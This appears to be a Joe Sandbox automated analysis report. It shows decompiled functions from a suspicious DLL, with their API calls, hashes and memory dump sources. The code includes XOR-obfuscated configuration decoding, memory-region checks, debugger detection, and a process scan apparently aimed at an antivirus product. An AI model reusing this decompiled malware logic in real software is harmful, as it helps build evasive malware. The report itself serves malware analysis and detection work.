                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                    • String ID:
                    • API String ID: 894908221-0
                    • Opcode ID: f2959a129c104384bef4fce0428d6c2d302ccda5624f3583eceeb19973313c03
                    • Instruction ID: 8f72b3c206256d52ba803ee5d77f53120c6975f0510c4ca5c23f3172702cfe7f
                    • Opcode Fuzzy Hash: f2959a129c104384bef4fce0428d6c2d302ccda5624f3583eceeb19973313c03
                    • Instruction Fuzzy Hash: D3F05E36100109BBCF126E75DC44DEB3BAEEF85361B50802EFE09DA110DB32E6959BA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Non-executed Functions

                    Function 027C1D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 93%
                    			E027C1D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x27ca344; // 0x43175ac3
				if(E027C10F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x27ca374 = _v8;
				}
				_t33 =  *0x27ca344; // 0x43175ac3
				if(E027C10F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x27ca344; // 0x43175ac3
				_push(_t116);
				if(E027C10F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x27ca2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x27ca344; // 0x43175ac3
						_t45 = E027C36C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x27ca2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x27ca344; // 0x43175ac3
						_t46 = E027C36C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x27ca2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x27ca344; // 0x43175ac3
						_t47 = E027C36C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x27ca2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x27ca344; // 0x43175ac3
						_t48 = E027C36C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x27ca004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x27ca344; // 0x43175ac3
						_t49 = E027C36C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x27ca02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x27ca344; // 0x43175ac3
						_t50 = E027C36C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x27ca2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x27ca344; // 0x43175ac3
								_t51 = E027C36C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E027C5B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E027C607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x27ca344; // 0x43175ac3
								_t52 = E027C36C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E027C5B85(0, _t52) != 0) {
								_t122 =  *0x27ca3cc; // 0x38c9600
								E027C5364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x27ca344; // 0x43175ac3
								_t53 = E027C36C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x27ca348; // 0x10fd5a8
								_t22 = _t54 + 0x27cb5f3; // 0x616d692f
								 *0x27ca370 = _t22;
								goto L60;
							} else {
								_t64 = E027C5B85(0, _t53);
								 *0x27ca370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x27ca344; // 0x43175ac3
										_t56 = E027C36C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x27ca348; // 0x10fd5a8
										_t23 = _t57 + 0x27cb899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E027C5B85(0, _t56);
									}
									 *0x27ca3e0 = _t58;
									HeapFree( *0x27ca2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                    0x027c1d8a
                    0x027c1d8a
                    0x027c1d8a
                    0x027c1d8a
                    0x027c1d8d
                    0x027c1daa
                    0x027c1db8
                    0x027c1db8
                    0x027c1dbd
                    0x027c1dd7
                    0x027c2045
                    0x027c204c
                    0x027c2050
                    0x027c2050
                    0x027c1ddd
                    0x027c1de2
                    0x027c1dfa
                    0x027c2032
                    0x027c203c
                    0x00000000
                    0x027c1e00
                    0x027c1e00
                    0x027c1e01
                    0x027c1e06
                    0x027c1e1c
                    0x027c1e08
                    0x027c1e08
                    0x027c1e15
                    0x027c1e15
                    0x027c1e1e
                    0x027c1e27
                    0x027c1e29
                    0x027c1e33
                    0x027c1e38
                    0x027c1e38
                    0x027c1e33
                    0x027c1e3f
                    0x027c1e55
                    0x027c1e41
                    0x027c1e41
                    0x027c1e4e
                    0x027c1e4e
                    0x027c1e59
                    0x027c1e5b
                    0x027c1e65
                    0x027c1e6a
                    0x027c1e6a
                    0x027c1e65
                    0x027c1e71
                    0x027c1e87
                    0x027c1e73
                    0x027c1e73
                    0x027c1e80
                    0x027c1e80
                    0x027c1e8b
                    0x027c1e8d
                    0x027c1e97
                    0x027c1e9c
                    0x027c1e9c
                    0x027c1e97
                    0x027c1ea3
                    0x027c1eb9
                    0x027c1ea5
                    0x027c1ea5
                    0x027c1eb2
                    0x027c1eb2
                    0x027c1ebd
                    0x027c1ebf
                    0x027c1ec9
                    0x027c1ece
                    0x027c1ece
                    0x027c1ec9
                    0x027c1ed5
                    0x027c1eeb
                    0x027c1ed7
                    0x027c1ed7
                    0x027c1ee4
                    0x027c1ee4
                    0x027c1eef
                    0x027c1ef1
                    0x027c1efb
                    0x027c1f00
                    0x027c1f00
                    0x027c1efb
                    0x027c1f07
                    0x027c1f1d
                    0x027c1f09
                    0x027c1f09
                    0x027c1f16
                    0x027c1f16
                    0x027c1f21
                    0x027c1f34
                    0x027c1f34
                    0x00000000
                    0x027c1f23
                    0x027c1f23
                    0x027c1f2d
                    0x00000000
                    0x027c1f3e
                    0x027c1f3e
                    0x027c1f40
                    0x027c1f56
                    0x027c1f42
                    0x027c1f42
                    0x027c1f4f
                    0x027c1f4f
                    0x027c1f5a
                    0x027c1f5c
                    0x027c1f5f
                    0x027c1f60
                    0x027c1f67
                    0x027c1f69
                    0x027c1f6a
                    0x027c1f6a
                    0x027c1f67
                    0x027c1f71
                    0x027c1f87
                    0x027c1f73
                    0x027c1f73
                    0x027c1f80
                    0x027c1f80
                    0x027c1f8b
                    0x027c1f99
                    0x027c1fa3
                    0x027c1fa3
                    0x027c1fab
                    0x027c1fc1
                    0x027c1fad
                    0x027c1fad
                    0x027c1fba
                    0x027c1fba
                    0x027c1fc5
                    0x027c1fd8
                    0x027c1fd8
                    0x027c1fdd
                    0x027c1fe3
                    0x00000000
                    0x027c1fc7
                    0x027c1fca
                    0x027c1fcf
                    0x027c1fd6
                    0x027c1fe8
                    0x027c1fea
                    0x027c2000
                    0x027c1fec
                    0x027c1fec
                    0x027c1ff9
                    0x027c1ff9
                    0x027c2004
                    0x027c2010
                    0x027c2015
                    0x027c2015
                    0x027c2006
                    0x027c2009
                    0x027c2009
                    0x027c2023
                    0x027c2028
                    0x027c202e
                    0x00000000
                    0x027c2031
                    0x00000000
                    0x027c1fd6
                    0x027c1fc5
                    0x027c1f2d
                    0x027c1f21

                    APIs
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,027CA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 027C1E2F
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,027CA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 027C1E61
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,027CA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 027C1E93
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,027CA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 027C1EC5
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,027CA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 027C1EF7
                    • StrToIntExA.SHLWAPI(00000000,00000000,?,027CA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 027C1F29
                    • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 027C2028
                    • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 027C203C
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: dd51363599fef379a1cac64b25837cdcb921fc350a561a3d472c5cc81f4c50a9
                    • Instruction ID: 9dc90cff3343999ac09adf92a04038385a0781f2903e31d0d474dc3179a42aa6
                    • Opcode Fuzzy Hash: dd51363599fef379a1cac64b25837cdcb921fc350a561a3d472c5cc81f4c50a9
                    • Instruction Fuzzy Hash: B381A0B0E10108ABC711EFB49D88D5B7BFAAB487057B48D7DA509E3206EB75D950CB20
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E524C5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E524C5(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0xe541f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0xe54240 = 1;
										__eflags =  *0xe54240;
										if( *0xe54240 != 0) {
											goto L60;
										}
										_t84 =  *0xe541f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0xe54240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0xe541f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0xe54200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0xe541fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0xe54200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0xe54200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0xe54240 = 1;
							__eflags =  *0xe54240;
							if( *0xe54240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0xe54200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0xe54200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0xe54240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0xe54200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0xe541f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0xe54200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0xe54200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                    0x00e524cf
                    0x00e524d2
                    0x00e524d8
                    0x00e524f6
                    0x00000000
                    0x00e524f6
                    0x00e524e0
                    0x00e524e9
                    0x00e524ef
                    0x00e524fe
                    0x00e52501
                    0x00e52504
                    0x00e5250e
                    0x00e5250e
                    0x00e52510
                    0x00e52513
                    0x00e52515
                    0x00e52515
                    0x00e52517
                    0x00e5251a
                    0x00000000
                    0x00000000
                    0x00e5251c
                    0x00e5251e
                    0x00e52584
                    0x00e52584
                    0x00e526e2
                    0x00000000
                    0x00e526e2
                    0x00e52520
                    0x00e52520
                    0x00e52524
                    0x00e52526
                    0x00e52526
                    0x00e52526
                    0x00e52526
                    0x00e52529
                    0x00e5252a
                    0x00e5252d
                    0x00e5252d
                    0x00e52531
                    0x00e52535
                    0x00e52543
                    0x00e52543
                    0x00e5254b
                    0x00e52551
                    0x00e52553
                    0x00e52555
                    0x00e52565
                    0x00e52572
                    0x00e52576
                    0x00e5257b
                    0x00e5257d
                    0x00e525fb
                    0x00e525fb
                    0x00e5257f
                    0x00e5257f
                    0x00e5257f
                    0x00e525fd
                    0x00e525ff
                    0x00e526e0
                    0x00e526e0
                    0x00000000
                    0x00e52605
                    0x00e52605
                    0x00e5260c
                    0x00000000
                    0x00000000
                    0x00e52612
                    0x00e52616
                    0x00e52672
                    0x00e52674
                    0x00e5267c
                    0x00e5267e
                    0x00e52680
                    0x00000000
                    0x00000000
                    0x00e52682
                    0x00e52688
                    0x00e5268a
                    0x00e5268c
                    0x00e526a1
                    0x00e526a1
                    0x00e526a3
                    0x00e526d2
                    0x00e526d9
                    0x00000000
                    0x00e526d9
                    0x00e526a7
                    0x00e526a8
                    0x00e526aa
                    0x00e526ac
                    0x00e526ac
                    0x00e526ae
                    0x00e526b0
                    0x00e526b2
                    0x00e526c6
                    0x00e526c6
                    0x00e526c9
                    0x00e526cb
                    0x00e526cb
                    0x00e526cc
                    0x00e526cc
                    0x00000000
                    0x00e526b4
                    0x00e526b4
                    0x00e526b4
                    0x00e526bd
                    0x00e526be
                    0x00e526c0
                    0x00e526c2
                    0x00e526c2
                    0x00000000
                    0x00e526b4
                    0x00e526b2
                    0x00e5268e
                    0x00e52695
                    0x00e52695
                    0x00e52697
                    0x00000000
                    0x00000000
                    0x00e52699
                    0x00e5269a
                    0x00e5269d
                    0x00e5269f
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e5269f
                    0x00000000
                    0x00e52695
                    0x00e52618
                    0x00e5261b
                    0x00e52620
                    0x00000000
                    0x00000000
                    0x00e52629
                    0x00e5262b
                    0x00e52631
                    0x00000000
                    0x00000000
                    0x00e52637
                    0x00e5263d
                    0x00000000
                    0x00000000
                    0x00e52643
                    0x00e52645
                    0x00e5264e
                    0x00e52652
                    0x00000000
                    0x00000000
                    0x00e52658
                    0x00e5265b
                    0x00e5265d
                    0x00000000
                    0x00000000
                    0x00e52664
                    0x00e52666
                    0x00000000
                    0x00000000
                    0x00e52668
                    0x00e5266c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e5266c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e52557
                    0x00e52557
                    0x00e52557
                    0x00e5255e
                    0x00000000
                    0x00000000
                    0x00e52560
                    0x00e52561
                    0x00e52563
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e52563
                    0x00e5258b
                    0x00e5258d
                    0x00000000
                    0x00000000
                    0x00e5259d
                    0x00e5259f
                    0x00e525a1
                    0x00000000
                    0x00000000
                    0x00e525a7
                    0x00e525ae
                    0x00e525da
                    0x00e525da
                    0x00e525dc
                    0x00e525de
                    0x00e525f2
                    0x00e525f4
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e525e0
                    0x00e525e0
                    0x00e525e0
                    0x00e525e9
                    0x00e525ea
                    0x00e525ec
                    0x00e525ee
                    0x00e525ee
                    0x00000000
                    0x00e525e0
                    0x00e525b0
                    0x00e525b3
                    0x00e525b5
                    0x00e525c7
                    0x00e525c7
                    0x00e525ca
                    0x00e525cc
                    0x00e525cc
                    0x00e525cd
                    0x00e525cd
                    0x00e525d3
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e525b7
                    0x00e525b7
                    0x00e525b7
                    0x00e525be
                    0x00000000
                    0x00000000
                    0x00e525c0
                    0x00e525c0
                    0x00e525c1
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e525c1
                    0x00e525c3
                    0x00e525c5
                    0x00e525d8
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e525d8
                    0x00000000
                    0x00e525c5
                    0x00e52537
                    0x00e5253a
                    0x00e5253d
                    0x00000000
                    0x00000000
                    0x00e5253f
                    0x00e52541
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e52541
                    0x00e52506
                    0x00e52508
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 00E52576
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: MemoryQueryVirtual
                    • String ID: @B$@B$@B
                    • API String ID: 2850889275-2254661971
                    • Opcode ID: d047877b0a32a05e19ef524b211713233ef1efab2c0dfab5a89e8bf52ba449b6
                    • Instruction ID: af9bc0e74645008d53722d0a0b23ccc1cdd469a1bc4d01ed15d6b67f0ea7487a
                    • Opcode Fuzzy Hash: d047877b0a32a05e19ef524b211713233ef1efab2c0dfab5a89e8bf52ba449b6
                    • Instruction Fuzzy Hash: 6761E4706006029FDB19CF29D8A066933E1EB9635AF24AC2DDE16F7290F770DC8DC651
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8B0A1 Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6CB8B0AD
                    • IsDebuggerPresent.KERNEL32 ref: 6CB8B179
                    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CB8B199
                    • UnhandledExceptionFilter.KERNEL32(?), ref: 6CB8B1A3
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                    • String ID:
                    • API String ID: 254469556-0
                    • Opcode ID: 9688fb5ea8afb44b52b0b6b0aca55a39d865ffedfe7abc49929d93acc2e4513f
                    • Instruction ID: 304754eeb7b26a081822e5b9c1e9d44d8ebd3709fd451861617ab32e9b727c32
                    • Opcode Fuzzy Hash: 9688fb5ea8afb44b52b0b6b0aca55a39d865ffedfe7abc49929d93acc2e4513f
                    • Instruction Fuzzy Hash: 0D314775D4621CDBDF11DFA0CD89BCCBBB8AF08704F1041AAE50CAB250EB719A888F45
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C30D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E027C30D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x27ca348; // 0x10fd5a8
						_t2 = _t9 + 0x27cbe88; // 0x73617661
						_push( &_v264);
						if( *0x27ca12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}









                    0x027c30e0
                    0x027c30ea
                    0x027c30ee
                    0x027c30f8
                    0x027c3129
                    0x027c30ff
                    0x027c3104
                    0x027c3111
                    0x027c311a
                    0x027c3131
                    0x027c311c
                    0x027c3124
                    0x00000000
                    0x027c3124
                    0x027c3132
                    0x027c3133
                    0x00000000
                    0x027c3133
                    0x00000000
                    0x027c312d
                    0x027c3139
                    0x027c313e

                    APIs
                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 027C30E5
                    • Process32First.KERNEL32(00000000,?), ref: 027C30F8
                    • Process32Next.KERNEL32(00000000,?), ref: 027C3124
                    • CloseHandle.KERNEL32(00000000), ref: 027C3133
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                    • String ID:
                    • API String ID: 420147892-0
                    • Opcode ID: f47543a33e8a22a3aa8732095504422f22e9a26443f7854112c6f7b4bdcdd7d3
                    • Instruction ID: 344461af812b497ebeb593c74dee6310e2369ba12c7e6ff424b697a0f228ebdd
                    • Opcode Fuzzy Hash: f47543a33e8a22a3aa8732095504422f22e9a26443f7854112c6f7b4bdcdd7d3
